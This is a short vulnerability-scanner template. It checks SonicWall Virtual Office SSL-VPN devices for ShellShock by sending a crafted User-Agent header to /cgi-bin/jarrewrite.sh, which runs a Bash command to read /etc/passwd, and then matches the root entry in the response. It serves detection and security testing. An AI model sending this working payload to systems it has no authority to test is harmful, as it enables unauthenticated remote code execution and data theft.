sonicwall-shellshock-vulnerability.yaml

id: sonicwall-shellshock-vulnerability

info:
  name: SonicWall ShellShock Vulnerability
  author: umityn
  severity: high
  description: SonicWall "Virtual Office" SSL-VPN Products (versions 8.0.0.0 and lower) contain a Bash version that is vulnerable to the ShellShock exploit and are therefore vulnerable to unauthenticated remote code execution via the /cgi-bin/jarrewrite.sh endpoint.

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/jarrewrite.sh"

    headers:
      User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'"
      Content-Type: "application/x-www-form-urlencoded"
    matchers:
      - type: word
        words:
          - "root:x:0:0:root:"
        part: body